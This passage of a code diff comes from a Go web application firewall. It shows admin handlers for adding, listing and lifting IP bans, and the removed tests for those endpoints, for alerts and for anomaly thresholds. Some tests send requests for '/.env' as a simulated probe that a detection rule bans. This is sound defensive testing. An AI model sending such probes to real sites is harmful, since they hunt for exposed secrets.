netblock, err = rq.h.banNetblock(toAdd.Netblock)
}
if err == nil {
expires, err = expiry(toAdd.Duration, now)
}
if err != nil {
http.Error(rq.out, err.Error(), http.StatusBadRequest)
return
}
ban := rq.h.ledger.BanForAdmin(netblock, now, expires, toAdd.Reason)
rq.answerBans([]bans.Ban{ban})
}
// readBanToAdd reads the body of POST BansPath: a JSON object with
// nothing but whitespace after it, in at most banBodyMaxBytes.
func (rq *request) readBanToAdd() (banToAdd, error) {
data, err := io.ReadAll(http.MaxBytesReader(nil, rq.in.Body, banBodyMaxBytes))
rq.requestBytes = int64(len(data))
if err != nil {
return banToAdd{}, fmt.Errorf("%w: %w", errNotBanToAdd, err)
}
var toAdd banToAdd
decoder := json.NewDecoder(bytes.NewReader(data))
decoder.DisallowUnknownFields()
err = decoder.Decode(&toAdd)
if err != nil {
return banToAdd{}, fmt.Errorf("%w: %w", errNotBanToAdd, err)
}
// Token returns io.EOF only when nothing but whitespace is left.
_, err = decoder.Token()
if !errors.Is(err, io.EOF) {
return banToAdd{}, fmt.Errorf("%w: more follows the object", errNotBanToAdd)
}
return toAdd, nil
}
// banNetblock reads value, a netblock such as 203.0.113.0/24, or a
// client's address, which stands for the netblock a ban on that client
// covers. An IPv4-mapped netblock, such as ::ffff:203.0.113.0/120, is
// refused, since a client's address is looked up as IPv4 and a ban on it
// would refuse nothing, and so is a value with a zone.
func (h *handler) banNetblock(value string) (netip.Prefix, error) {
netblock, err := netip.ParsePrefix(value)
if err == nil {
if netblock.Addr().Is4In6() {
return netip.Prefix{}, fmt.Errorf("netblock %q %w", value, errMappedNetblock)
}
return netblock, nil
}
// ParsePrefix refuses a zone, but ParseAddr reads the /48 of
// 2001:db8::1%x/48 as part of the zone.
addr, err := netip.ParseAddr(value)
if err != nil {
return netip.Prefix{}, fmt.Errorf("netblock %q %w", value, errNotNetblock)
}
if addr.Zone() != "" {
return netip.Prefix{}, fmt.Errorf("netblock %q %w", value, errZone)
}
return h.netblock(addr), nil
}
// expiry returns when a ban made at now for duration ends: duration
// later, for a duration as a setting gives one, or zero for permanent.
func expiry(duration string, now time.Time) (time.Time, error) {
if duration == permanent {
return time.Time{}, nil
}
length, err := config.ParseDurationNotOff(duration)
if err != nil {
return time.Time{}, fmt.Errorf("duration %q %w", duration, errNotDuration)
}
return now.Add(length), nil
}
// liftBans answers DELETE BansPath/<client>: it lifts every ban active on
// a netblock the client's address is in, and answers with those bans, or
// with 404 when none is active.
func (rq *request) liftBans() {
client, err := pathAddress(rq.in.URL.Path, BansPath+"/")
if err != nil {
http.Error(rq.out, err.Error(), http.StatusBadRequest)
return
}
lifted := rq.h.ledger.Lift(client, rq.h.now())
if len(lifted) == 0 {
http.Error(rq.out, "no ban is active on "+client.String(), http.StatusNotFound)
return
}
rq.answerBans(lifted)
}
// clientAnswer is the answer to GET ClientsPath<ip>: the client the
// address is, as clients.json holds it, or null when the table of
// clients does not hold it, and the bans on each netblock the address is
// in, as bans.json lists them.
type clientAnswer struct {
Client *ratelimit.Client `json:"client"`
Bans []state.BanEntry `json:"bans"`
}
// showClient answers GET ClientsPath<ip> with what discriminator knows of the client:
// its counters, its history, which holds its country as last looked up and its
// offences, and its bans with their notes.
func (rq *request) showClient() {
addr, err := pathAddress(rq.in.URL.Path, ClientsPath)
if err != nil {
http.Error(rq.out, err.Error(), http.StatusBadRequest)
return
}
answer := clientAnswer{Bans: state.BanEntries(rq.h.ledger.Covering(addr))}
client, seen := rq.h.limiter.Client(rq.h.clientGroup(addr))
if seen {
answer.Client = &client
}
rq.answerJSON(answer)
}
// pathAddress reads the client's address that follows prefix in path.
func pathAddress(path, prefix string) (netip.Addr, error) {
value := strings.TrimPrefix(path, prefix)
addr, err := netip.ParseAddr(value)
if err != nil {
return netip.Addr{}, fmt.Errorf("%q %w", value, errNotAddress)
}
return addr.Unmap(), nil
}
// answerBans answers with held under bans, as bans.json lists them.
func (rq *request) answerBans(held []bans.Ban) {
rq.answerJSON(struct {
Bans []state.BanEntry `json:"bans"`
}{state.BanEntries(held)})
}
// answerJSON answers with value as indented JSON.
func (rq *request) answerJSON(value any) {
body, err := json.MarshalIndent(value, "", " ")
if err != nil {
rq.h.processLog.Error("encoding an answer failed", "error", err.Error())
http.Error(rq.out, http.StatusText(http.StatusInternalServerError),
http.StatusInternalServerError)
return
}
rq.out.Header().Set("Content-Type", "application/json")
_, _ = rq.out.Write(append(body, '\n'))
}
internal/discriminator/admin_test.go
-422
View File
@@ -1,422 +0,0 @@
package discriminator_test
import (
"encoding/json"
"net/http"
"net/netip"
"reflect"
"strings"
"testing"
"time"
"sneak.berlin/go/smallwebwaf/internal/bans"
"sneak.berlin/go/smallwebwaf/internal/discriminator"
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
"sneak.berlin/go/smallwebwaf/internal/state"
)
const (
adminToken = "SWW_ADMIN_TOKEN" //nolint:gosec // the setting's name
// adminSecret is the SWW_ADMIN_TOKEN the tests set, and adminBearer
// how a request carries it.
adminSecret = "fedcba9876543210fedcba9876543210"
adminBearer = "Bearer " + adminSecret
// banOtherClient is the body of a request to ban otherClient for an
// hour.
banOtherClient = `{"netblock": "` + otherClient + `", "duration": "1h", ` +
`"reason": "probes for logins"}`
)
func TestAdminEndpointsAreOffWhileTheTokenIsUnset(t *testing.T) {
t.Parallel()
// The metrics token is set, and opens none of them.
s, clk, server := startWithClock(t, "", map[string]string{metricsToken: token})
server.Ledger.BanForLimit(netip.MustParsePrefix(otherClient+"/32"), clk.Now(),
bans.Notes{})
before := server.Ledger.Snapshot()
// An empty token does not match the unset one either.
for _, authorization := range []string{adminBearer, bearer, "Bearer ", ""} {
for _, e := range adminEndpoints() {
s.ownEndpointRequest(authorization, e.method, e.path, e.body, http.StatusNotFound)
}
}
if after := server.Ledger.Snapshot(); !reflect.DeepEqual(after, before) {
t.Errorf("the bans are now\n%+v\nwant them unchanged\n%+v", after, before)
}
}
func TestAdminEndpointsNeedTheAdminToken(t *testing.T) {
t.Parallel()
s, _, server := startWithClock(t, "", map[string]string{
adminToken: adminSecret,
metricsToken: token,
})
// Listing the bans, banning otherClient, lifting that ban, and asking
// about otherClient, in that order. Without the admin token, with the
// metrics token, or with one that differs, each is refused, and
// changes nothing; with the admin token, it is answered.
for _, e := range adminEndpoints() {
before := server.Ledger.Snapshot()
for _, authorization := range []string{
"", bearer, "Bearer " + strings.ToUpper(adminSecret), "Basic " + adminSecret,
} {
got := s.ownEndpointRequest(authorization, e.method, e.path, e.body,
http.StatusUnauthorized)
if got.header.Get("WWW-Authenticate") != "Bearer" {
t.Errorf("%s %s with %q was answered without WWW-Authenticate: Bearer",
e.method, e.path, authorization)
}
}
if after := server.Ledger.Snapshot(); !reflect.DeepEqual(after, before) {
t.Errorf("%s %s without the token changed the bans to\n%+v\nfrom\n%+v",
e.method, e.path, after, before)
}
got := s.admin(e.method, e.path, e.body, http.StatusOK)
if got.header.Get("Content-Type") != "application/json" {
t.Errorf("%s %s answered %q", e.method, e.path, got.header.Get("Content-Type"))
}
}
// Any other request under /_sww/ is not found.
for _, e := range []adminEndpoint{
{http.MethodPut, discriminator.BansPath, banOtherClient},
{http.MethodDelete, discriminator.BansPath, ""},
{http.MethodGet, discriminator.BansPath + "/" + otherClient, ""},
{http.MethodPost, discriminator.ClientsPath + otherClient, ""},
{http.MethodGet, strings.TrimSuffix(discriminator.ClientsPath, "/"), ""},
} {
s.admin(e.method, e.path, e.body, http.StatusNotFound)
}
}
func TestBanAddedListedAndLiftedThroughTheEndpoints(t *testing.T) {
t.Parallel()
s, clk, _ := startWithClock(t, "", map[string]string{
adminToken: adminSecret,
banScopeV4Prefix: "24",
})
// A ban on otherClient bans the /24 a ban on that client covers, so it
// refuses client too, for an hour.
start := clk.Now()
expires := start.Add(time.Hour)
want := state.BanEntry{
Netblock: netip.MustParsePrefix("203.0.113.0/24"),
Start: start,
Expires: &expires,
Cause: bans.CauseAdmin,
Reason: "probes for logins",
}
wantBans(t, s.admin(http.MethodPost, discriminator.BansPath, banOtherClient,
http.StatusOK), want)
line := s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
if line.BanExpires != requestlog.FormatTime(expires) {
t.Errorf("the ban ends at %s, want %s", line.BanExpires, expires)
}
// Its notes count the request it refused.
want.Notes.Requests, want.Notes.Refused = 1, 1
wantBans(t, s.admin(http.MethodGet, discriminator.BansPath, "", http.StatusOK), want)
// Ten minutes on, lifting the bans on client lifts that one, which is
// kept, marked lifted.
clk.advance(10 * time.Minute)
lifted := clk.Now()
want.Lifted = &lifted
wantBans(t, s.admin(http.MethodDelete, discriminator.BansPath+"/"+client, "",
http.StatusOK), want)
s.get(client, http.StatusOK, requestlog.ActionForward)
wantBans(t, s.admin(http.MethodGet, discriminator.BansPath, "", http.StatusOK), want)
// No ban on it is active any more.
s.admin(http.MethodDelete, discriminator.BansPath+"/"+client, "", http.StatusNotFound)
}
func TestBanToAddGivesItsNetblockAndDuration(t *testing.T) {
t.Parallel()
s, clk, _ := startWithClock(t, "", map[string]string{
adminToken: adminSecret,
banScopeV4Prefix: "24",
})
start := clk.Now()
for _, tc := range []struct {
netblock, duration string
want string
length time.Duration // 0 for a permanent ban
}{
// An address stands for the netblock a ban on that client covers.
{client, "7d", "203.0.113.0/24", 7 * 24 * time.Hour},
{"::ffff:198.51.100.7", "90m", "198.51.100.0/24", 90 * time.Minute},
{"2001:db8:5::1", "permanent", "2001:db8:5::/64", 0},
// A netblock stands for itself, its bits past its length cleared.
{"198.51.100.7/16", "1h", "198.51.0.0/16", time.Hour},
{"2001:db8:6::/48", "1h", "2001:db8:6::/48", time.Hour},
} {
// Whitespace may follow the object.
body := `{"netblock": "` + tc.netblock + `", "duration": "` + tc.duration + `"}` +
"\r\n"
want := state.BanEntry{
Netblock: netip.MustParsePrefix(tc.want), Start: start, Cause: bans.CauseAdmin,
}
if tc.length != 0 {
expires := start.Add(tc.length)
want.Expires = &expires
}
wantBans(t, s.admin(http.MethodPost, discriminator.BansPath, body, http.StatusOK),
want)
}
}
func TestBanToAddThatCannotBeReadIsRefused(t *testing.T) {
t.Parallel()
s, _, server := startWithClock(t, "", map[string]string{adminToken: adminSecret})
for _, tc := range []struct{ body, want string }{
{"", "the body is not a JSON object of netblock, duration and reason: EOF"},
{"netblock=203.0.113.9", "the body is not a JSON object"},
{
`{"netblock": "203.0.113.9", "duration": "1h", "until": "2027"}`,
`unknown field "until"`,
},
{
`{"netblock": "203.0.113", "duration": "1h"}`,
`netblock "203.0.113" is not an address or a netblock`,
},
// A client's address is looked up as IPv4, so a ban on an
// IPv4-mapped netblock would refuse nothing.
{
`{"netblock": "::ffff:203.0.113.0/120", "duration": "1h"}`,
`netblock "::ffff:203.0.113.0/120" is IPv4-mapped`,
},
// Read as an address, its zone would be "x/48", and its ban on the
// /64 around it.
{
`{"netblock": "2001:db8::1%x/48", "duration": "1h"}`,
`netblock "2001:db8::1%x/48" has a zone`,
},
{
`{"netblock": "fe80::1%eth0", "duration": "1h"}`,
`netblock "fe80::1%eth0" has a zone`,
},
// Anything but whitespace after the object.
{
`{"netblock": "203.0.113.9", "duration": "1h"}` +
`{"netblock": "198.51.100.0/24", "duration": "1h"}`,
"more follows the object",
},
{`{"netblock": "203.0.113.9", "duration": "1h"} x`, "more follows the object"},
{`{"duration": "1h"}`, `netblock "" is not an address or a netblock`},
{`{"netblock": "203.0.113.9"}`, `duration "" is not a duration above zero`},
{
`{"netblock": "203.0.113.9", "duration": "off"}`,
`duration "off" is not a duration above zero`,
},
{
`{"netblock": "203.0.113.9", "duration": "0s"}`,
`duration "0s" is not a duration above zero`,
},
{
`{"netblock": "203.0.113.9", "duration": "forever"}`,
`duration "forever" is not a duration above zero, such as 1h or 7d, ` +
`or permanent`,
},
// Over the 4 KiB read of a body, even when the object comes first.
{
`{"netblock": "203.0.113.9", "duration": "1h", "reason": "` +
strings.Repeat("x", 4<<10) + `"}`,
"request body too large",
},
{
`{"netblock": "203.0.113.9", "duration": "1h"}` + strings.Repeat(" ", 4<<10),
"request body too large",
},
} {
got := s.admin(http.MethodPost, discriminator.BansPath, tc.body,
http.StatusBadRequest)
if !strings.Contains(string(got.body), tc.want) {
t.Errorf("%.80s was answered %q, want it to say %q", tc.body, got.body, tc.want)
}
}
if held := server.Ledger.Snapshot(); len(held) != 0 {
t.Errorf("the ledger holds %+v, want no ban", held)
}
}
func TestClientEndpointShowsTheClientAndItsBans(t *testing.T) {
t.Parallel()
s, clk, _ := startWithClock(t, "", map[string]string{
adminToken: adminSecret,
rateLimitPerMinute: "2",
})
start := clk.Now()
// Two of otherClient's requests are let through; the third breaks the
// limit of two a minute, and bans it.
s.get(otherClient, http.StatusOK, requestlog.ActionForward)
s.get(otherClient, http.StatusOK, requestlog.ActionForward)
s.get(otherClient, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
// Asked about by its address in IPv6 form too.
for _, addr := range []string{otherClient, "::ffff:" + otherClient} {
var got struct {
Client *ratelimit.Client `json:"client"`
Bans []state.BanEntry `json:"bans"`
}
decode(t, s.admin(http.MethodGet, discriminator.ClientsPath+addr, "",
http.StatusOK), &got)
if got.Client == nil {
t.Fatalf("%s: no client", addr)
}
history := got.Client.History
if got.Client.Client != netip.MustParsePrefix(otherClient+"/32") ||
history.Requests != 3 || history.Forwarded != 2 || history.Refused != 1 ||
history.Offences.Limit != 1 || !history.FirstSeen.Equal(start) {
t.Errorf("%s: client %+v", addr, got.Client)
}
if len(got.Bans) != 1 || got.Bans[0].Cause != bans.CauseLimit ||
got.Bans[0].Reason != "requests per minute over the limit of 2" ||
got.Bans[0].Notes.Count != 3 {
t.Errorf("%s: bans %+v, want the one for the broken limit", addr, got.Bans)
}
}
// Of an address no request came from and no ban covers, nothing is
// known.
got := s.admin(http.MethodGet, discriminator.ClientsPath+"198.51.100.99", "",
http.StatusOK)
if string(got.body) != "{\n \"client\": null,\n \"bans\": []\n}\n" {
t.Errorf("an unknown client is answered\n%s", got.body)
}
s.admin(http.MethodGet, discriminator.ClientsPath+"203.0.113", "",
http.StatusBadRequest)
s.admin(http.MethodDelete, discriminator.BansPath+"/203.0.113.0/24", "",
http.StatusBadRequest)
}
func TestAdminEndpointsNeedTheTokenInObserveMode(t *testing.T) {
t.Parallel()
s, _, server := startWithClock(t, "", map[string]string{
adminToken: adminSecret,
mode: observe,
})
for _, e := range adminEndpoints() {
s.ownEndpointRequest("", e.method, e.path, e.body, http.StatusUnauthorized)
}
if held := server.Ledger.Snapshot(); len(held) != 0 {
t.Errorf("the ledger holds %+v, want no ban", held)
}
}
// adminEndpoint is a request to an endpoint SWW_ADMIN_TOKEN opens.
type adminEndpoint struct {
method, path, body string
}
// adminEndpoints returns a request to each endpoint SWW_ADMIN_TOKEN
// opens: listing the bans, banning otherClient for an hour, lifting the
// bans on otherClient, and asking about otherClient.
func adminEndpoints() []adminEndpoint {
return []adminEndpoint{
{http.MethodGet, discriminator.BansPath, ""},
{http.MethodPost, discriminator.BansPath, banOtherClient},
{http.MethodDelete, discriminator.BansPath + "/" + otherClient, ""},
{http.MethodGet, discriminator.ClientsPath + otherClient, ""},
}
}
// admin sends a request with method for path, with body, to discriminator's own
// address, with the admin token, and checks that it is answered with status, its
// log line's action own_endpoint. It returns the answer.
func (s *sender) admin(method, path, body string, status int) answer {
s.t.Helper()
return s.ownEndpointRequest(adminBearer, method, path, body, status)
}
// ownEndpointRequest is admin with authorization as the request's Authorization
// header unless it is "".
func (s *sender) ownEndpointRequest(
authorization, method, path, body string, status int,
) answer {
s.t.Helper()
req := newRequest(s.t, method, s.discriminatorAddr, path, strings.NewReader(body))
if authorization != "" {
req.Header.Set("Authorization", authorization)
}
got := do(s.t, req)
wantStatus(s.t, got, status)
line := s.out.endedLines(s.t, s.sent+1)[s.sent]
s.sent++
wantLine(s.t, line, status, requestlog.ActionOwnEndpoint)
return got
}
// wantBans checks that a ban endpoint answered with want, and no other
// ban.
func wantBans(t *testing.T, got answer, want ...state.BanEntry) {
t.Helper()
var decoded struct {
Bans []state.BanEntry `json:"bans"`
}
decode(t, got, &decoded)
gotJSON, err := json.Marshal(decoded.Bans)
if err != nil {
t.Fatalf("encode %+v: %v", decoded.Bans, err)
}
wantJSON, err := json.Marshal(want)
if err != nil {
t.Fatalf("encode %+v: %v", want, err)
}
if string(gotJSON) != string(wantJSON) {
t.Errorf("bans\n%s\nwant\n%s", gotJSON, wantJSON)
}
}
// decode reads the JSON answer of an endpoint into value.
func decode(t *testing.T, got answer, value any) {
t.Helper()
err := json.Unmarshal(got.body, value)
if err != nil {
t.Fatalf("decode %s: %v", got.body, err)
}
}
internal/discriminator/alerts_test.go
-279
View File
@@ -1,279 +0,0 @@
package discriminator_test
import (
"maps"
"net/http"
"net/netip"
"reflect"
"testing"
"time"
"sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/bans"
"sneak.berlin/go/smallwebwaf/internal/discriminator"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
)
const (
alertWebhookURL = "SWW_ALERT_WEBHOOK_URL"
alertMaxPerHour = "SWW_ALERT_MAX_PER_HOUR"
// alertInstance is the instance every alert of these tests gives.
alertInstance = "fsn1app1/blog"
)
func TestBanForABrokenLimitRaisesABanAlertWithItsNotes(t *testing.T) {
t.Parallel()
s, clk, server, queue := startWithAlerts(t, map[string]string{
rateLimitPerMinute: "1",
banScopeV4Prefix: "24",
})
start := clk.Now()
s.get(client, http.StatusOK, requestlog.ActionForward)
s.get(client, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
netblock := netip.MustParsePrefix("203.0.113.0/24")
ban := server.Ledger.Bans(netblock)[0]
// A request refused under the ban raises no other alert.
clk.advance(time.Minute)
s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
wantAlerts(t, queue, banAlert(alerts.EventBan, start, client, bans.Ban{
Netblock: netblock, Cause: bans.CauseLimit,
Reason: "requests per minute over the limit of 1", Notes: ban.Notes,
}, requestlog.FormatTime(start.Add(time.Hour))))
if ban.Notes.Limit != 1 || ban.Notes.Request.Path != "/" {
t.Errorf("the alert's notes are %+v, want those of the broken limit", ban.Notes)
}
}
func TestAttackBanRaisesABanAlertThenAPermanentBanAlert(t *testing.T) {
t.Parallel()
s, clk, server, queue := startWithAlerts(t, map[string]string{
rulesDir: writeRules(t, testRules),
})
start := clk.Now()
netblock := netip.MustParsePrefix(client + "/32")
other := netip.MustParsePrefix(otherClient + "/32")
// The probe bans the client for seven days, and its next request makes
// the ban permanent. The request after that changes nothing.
s.request(client, "/.env", http.StatusForbidden, requestlog.ActionTemporarilyBanned)
attackBan := server.Ledger.Bans(netblock)[0]
clk.advance(time.Minute)
s.get(client, http.StatusForbidden, requestlog.ActionPermanentlyBanned)
permanentBan := server.Ledger.Bans(netblock)[0]
s.get(client, http.StatusForbidden, requestlog.ActionPermanentlyBanned)
// Another client's probe after its first ban has run out without a
// request makes a permanent ban at once.
s.request(otherClient, "/.env", http.StatusForbidden,
requestlog.ActionTemporarilyBanned)
clk.advance(7 * 24 * time.Hour)
s.request(otherClient, "/.env", http.StatusForbidden,
requestlog.ActionPermanentlyBanned)
otherBans := server.Ledger.Bans(other)
wantAlerts(t, queue,
attackAlert(alerts.EventBan, start, client, attackBan,
requestlog.FormatTime(start.Add(7*24*time.Hour))),
attackAlert(alerts.EventPermanentBan, start.Add(time.Minute), client,
permanentBan, "permanent"),
attackAlert(alerts.EventBan, start.Add(time.Minute), otherClient, otherBans[0],
requestlog.FormatTime(start.Add(time.Minute+7*24*time.Hour))),
attackAlert(alerts.EventPermanentBan, start.Add(time.Minute+7*24*time.Hour),
otherClient, otherBans[1], "permanent"),
)
}
func TestObserveModeRaisesTheBanAlertsItWouldHave(t *testing.T) {
t.Parallel()
s, clk, server, queue := startWithAlerts(t, map[string]string{
mode: observe,
rateLimitPerMinute: "2",
rulesDir: writeRules(t, testRules),
})
start := clk.Now()
// A ban for a clear sign of attack, which a request under it would make
// permanent.
group := netip.MustParsePrefix(ipv6Group)
attackBan, _ := server.Ledger.BanForAttack(group, start, bans.Notes{RuleID: "probe"})
// The third request breaks the limit, and so does the fourth, within the
// cooldown, which raises nothing. The probe is a clear sign of attack.
for range 4 {
s.get(client, http.StatusOK, requestlog.ActionForward)
}
s.request(otherClient, "/.env", http.StatusOK, requestlog.ActionForward)
line := s.get(ipv6Client, http.StatusOK, requestlog.ActionForward)
// No ban is made, and none made permanent.
held := server.Ledger.Snapshot()
if len(held) != 1 || !reflect.DeepEqual(held[0], attackBan) ||
line.BanExpires != requestlog.FormatTime(attackBan.Expires) {
t.Errorf("the ledger holds %+v, and the log line gives %s, want the ban "+
"for the attack alone, as it was", held, line.BanExpires)
}
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
if len(waiting) != 3 || queue.Suppressed() != 0 {
t.Fatalf("%d alerts wait and %d are held back, want 3 and 0: %+v",
len(waiting), queue.Suppressed(), waiting)
}
limitNotes, _ := waiting[0].Detail["notes"].(bans.Notes)
attackNotes, _ := waiting[1].Detail["notes"].(bans.Notes)
if limitNotes.Limit != 2 || limitNotes.Request.Path != "/" ||
attackNotes.Request.Path != "/.env" {
t.Errorf("the notes are %+v and %+v, want those of the broken limit and "+
"of the probe", limitNotes, attackNotes)
}
// Each alert is the one enforce mode would have raised, with mode
// observe in its detail.
want := []alerts.Alert{
banAlert(alerts.EventBan, start, client, bans.Ban{
Netblock: netip.MustParsePrefix(client + "/32"), Cause: bans.CauseLimit,
Reason: "requests per minute over the limit of 2", Notes: limitNotes,
}, requestlog.FormatTime(start.Add(time.Hour))),
attackAlert(alerts.EventBan, start, otherClient, bans.Ban{
Netblock: netip.MustParsePrefix(otherClient + "/32"), Notes: attackNotes,
}, requestlog.FormatTime(start.Add(7*24*time.Hour))),
attackAlert(alerts.EventPermanentBan, start, ipv6Client, attackBan, permanent),
}
for _, alert := range want {
alert.Detail["mode"] = observe
}
wantAlerts(t, queue, want...)
}
func TestObserveModeWorksOutABanOnlyWhenItsAlertWouldBeSent(t *testing.T) {
t.Parallel()
s, _, _, queue := startWithAlerts(t, map[string]string{
mode: observe,
rateLimitPerMinute: "2",
rulesDir: writeRules(t, testRules),
alertMaxPerHour: "2",
})
// The client's third request breaks the limit, and raises the first
// alert of the hour. Its fourth is within the cooldown.
for range 4 {
s.get(client, http.StatusOK, requestlog.ActionForward)
}
// The other client's first probe raises the second. Its second probe is
// within the cooldown.
for range 2 {
s.request(otherClient, "/.env", http.StatusOK, requestlog.ActionForward)
}
// The IPv6 client's third request breaks the limit past the two alerts
// an hour.
for range 3 {
s.get(ipv6Client, http.StatusOK, requestlog.ActionForward)
}
// Had the ban been worked out for any of the requests within the
// cooldown or past the two an hour, its alert would have been raised,
// held back and counted.
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
if len(waiting) != 2 || queue.Suppressed() != 0 {
t.Errorf("%d alerts wait and %d are held back, want 2 and 0: %+v",
len(waiting), queue.Suppressed(), waiting)
}
}
// startWithAlerts is startWithClock with alerts to a webhook, which is
// never sent them, and returns the queue they wait in as well.
func startWithAlerts(
t *testing.T, env map[string]string,
) (*sender, *clock, *discriminator.Server, *alerts.Queue) {
t.Helper()
return startAppWithAlerts(t, func(http.ResponseWriter, *http.Request) {}, env)
}
// startAppWithAlerts is startWithAlerts in front of the app handler.
func startAppWithAlerts(
t *testing.T, handler http.HandlerFunc, env map[string]string,
) (*sender, *clock, *discriminator.Server, *alerts.Queue) {
t.Helper()
app := startApp(t, handler)
clk := &clock{now: time.Date(2026, 10, 6, 0, 0, 0, 0, time.UTC)}
settings := map[string]string{
trustedProxies: trustLocalhost,
alertWebhookURL: "https://alerts.example/sww",
instanceName: alertInstance,
}
maps.Copy(settings, env)
addr, out, server, queue := startProxyWithAlerts(t, app.URL, "", clk.Now, settings)
s := &sender{t: t, addr: addr, discriminatorAddr: server.Addr, out: out}
return s, clk, server, queue
}
// banAlert returns the alert for event, raised by a request from client at
// the time raised, for ban, with its netblock, cause, reason and notes,
// which ends at expires, as the log line gives it.
func banAlert(
event string, raised time.Time, client string, ban bans.Ban, expires string,
) alerts.Alert {
return alerts.Alert{
Instance: alertInstance,
Time: raised,
Event: event,
Host: appHost,
Client: netip.MustParseAddr(client),
Netblock: ban.Netblock,
Reason: ban.Reason,
Detail: map[string]any{
"cause": ban.Cause, "ban_expires": expires, "notes": ban.Notes,
},
}
}
// attackAlert is banAlert for a ban for the probe rule of testRules, with
// the netblock and the notes of ban.
func attackAlert(
event string, raised time.Time, client string, ban bans.Ban, expires string,
) alerts.Alert {
return banAlert(event, raised, client, bans.Ban{
Netblock: ban.Netblock, Cause: bans.CauseAttack, Reason: "matched the rule probe",
Notes: ban.Notes,
}, expires)
}
// wantAlerts checks the alerts waiting in queue, in order.
func wantAlerts(t *testing.T, queue *alerts.Queue, want ...alerts.Alert) {
t.Helper()
got := queue.Snapshot().Waiting[alerts.DestinationWebhook]
if len(got) != len(want) {
t.Fatalf("%d alerts wait, want %d: %+v", len(got), len(want), got)
}
for i := range want {
if !reflect.DeepEqual(got[i], want[i]) {
t.Errorf("alert %d is\n%+v\nwant\n%+v", i, got[i], want[i])
}
}
}
internal/discriminator/anomaly_internal_test.go
-32
View File
@@ -1,32 +0,0 @@
package discriminator
import (
"net/netip"
"testing"
"sneak.berlin/go/smallwebwaf/internal/config"
)
func TestWithEveryAnomalyThresholdOffARequestIsNotCounted(t *testing.T) {
t.Parallel()
// A request from a client looked up through GeoJS, with every anomaly
// threshold off. Its handler has neither GeoJS's answers nor the
// anomaly counters, nor a clock, and the request no response: reading
// any of them to count the request panics.
rq := &request{
decision: decision{
client: netip.MustParseAddr("203.0.113.9"),
lookedUp: true,
},
h: &handler{config: &config.Config{LookupSource: "geojs"}},
}
defer func() {
if r := recover(); r != nil {
t.Errorf("counting the request did work, with every threshold off: %v", r)
}
}()
rq.countAnomalies()
}
internal/discriminator/anomaly_test.go
-378
View File
@@ -1,378 +0,0 @@
package discriminator_test
import (
"maps"
"net/http"
"net/netip"
"reflect"
"slices"
"strconv"
"sync/atomic"
"testing"
"time"
"sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/anomaly"
"sneak.berlin/go/smallwebwaf/internal/discriminator"
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
)
// The anomaly thresholds: the prefix of a scope followed by the end of a
// count.
const (
anomalyClient = "SWW_ANOMALY_CLIENT_"
anomalyNet = "SWW_ANOMALY_NET_"
anomalyASN = "SWW_ANOMALY_ASN_"
anomalyTotal = "SWW_ANOMALY_TOTAL_"
anomalyWatch = "SWW_WATCH_"
requestsPerMinute = "REQUESTS_PER_MINUTE"
requestsPerHour = "REQUESTS_PER_HOUR"
bytesPerMinute = "BYTES_PER_MINUTE"
bytesPerHour = "BYTES_PER_HOUR"
)
// The other anomaly settings.
const (
anomalyNetV4Prefix = "SWW_ANOMALY_NET_V4_PREFIX"
anomalyNetV6Prefix = "SWW_ANOMALY_NET_V6_PREFIX"
watchNets = "SWW_WATCH_NETS"
)
const (
// clientsNet is the netblock around client at the default length, and
// office a named netblock of the same.
clientsNet = "203.0.113.0/24"
office = "office=" + clientsNet
// aLot is a threshold no test reaches.
aLot = "1000"
// hour is the window an alert names for a threshold per hour.
hour = "hour"
)
func TestEachScopeAndWindowOverItsThresholdAlertsOncePerCooldown(t *testing.T) {
t.Parallel()
for _, scope := range []struct {
prefix, scope string
// netblock is the alert's, and counted what its reason names. extra
// is what its detail gives besides what every anomaly alert's does.
netblock netip.Prefix
counted string
extra map[string]any
}{
{
anomalyClient, anomaly.ScopeClient, netip.MustParsePrefix(client + "/32"),
"the client " + client + "/32", nil,
},
{
anomalyNet, anomaly.ScopeNet, netip.MustParsePrefix(clientsNet),
"the netblock " + clientsNet, nil,
},
{anomalyASN, anomaly.ScopeASN, netip.Prefix{}, asnDE, map[string]any{"asn": asnDE}},
{anomalyTotal, anomaly.ScopeTotal, netip.Prefix{}, "the whole service", nil},
{
anomalyWatch, anomaly.ScopeWatchedNet, netip.MustParsePrefix(clientsNet),
"the named netblock office, " + clientsNet, map[string]any{"name": "office"},
},
} {
for _, threshold := range []struct {
end, kind, window string
// value is the threshold, which the third upload of 100 bytes
// takes the count over, to count.
value int64
count float64
}{
{requestsPerMinute, ratelimit.KindRequests, minute, 2, 3},
{requestsPerHour, ratelimit.KindRequests, hour, 2, 3},
{bytesPerMinute, ratelimit.KindBytes, minute, 250, 300},
{bytesPerHour, ratelimit.KindBytes, hour, 250, 300},
} {
setting := scope.prefix + threshold.end
value := strconv.FormatInt(threshold.value, 10)
t.Run(setting, func(t *testing.T) {
t.Parallel()
s, clk, server, queue := startWithLookupsAndClock(t, map[string]string{
setting: value, watchNets: office,
})
start := clk.Now()
// The third upload takes the count over the threshold, and the
// fourth, within the cooldown, is held back. Each is passed to
// the app.
for range 4 {
s.uploadFrom(client)
}
detail := map[string]any{
"scope": scope.scope, "window": threshold.window, "kind": threshold.kind,
"count": threshold.count, "threshold": threshold.value,
}
maps.Copy(detail, scope.extra)
wantAlerts(t, queue, alerts.Alert{
Instance: alertInstance,
Time: start,
Event: alerts.EventAnomaly,
Host: appHost,
Client: netip.MustParseAddr(client),
Netblock: scope.netblock,
ASN: asnDE,
ASName: asNameDE,
Country: "DE",
Reason: threshold.kind + " per " + threshold.window + " of " +
scope.counted + " over the threshold of " + value,
Detail: detail,
})
wantAlertedAgainOnceTheCooldownHasRunOut(t, s, clk, queue)
if held := server.Ledger.Snapshot(); len(held) != 0 {
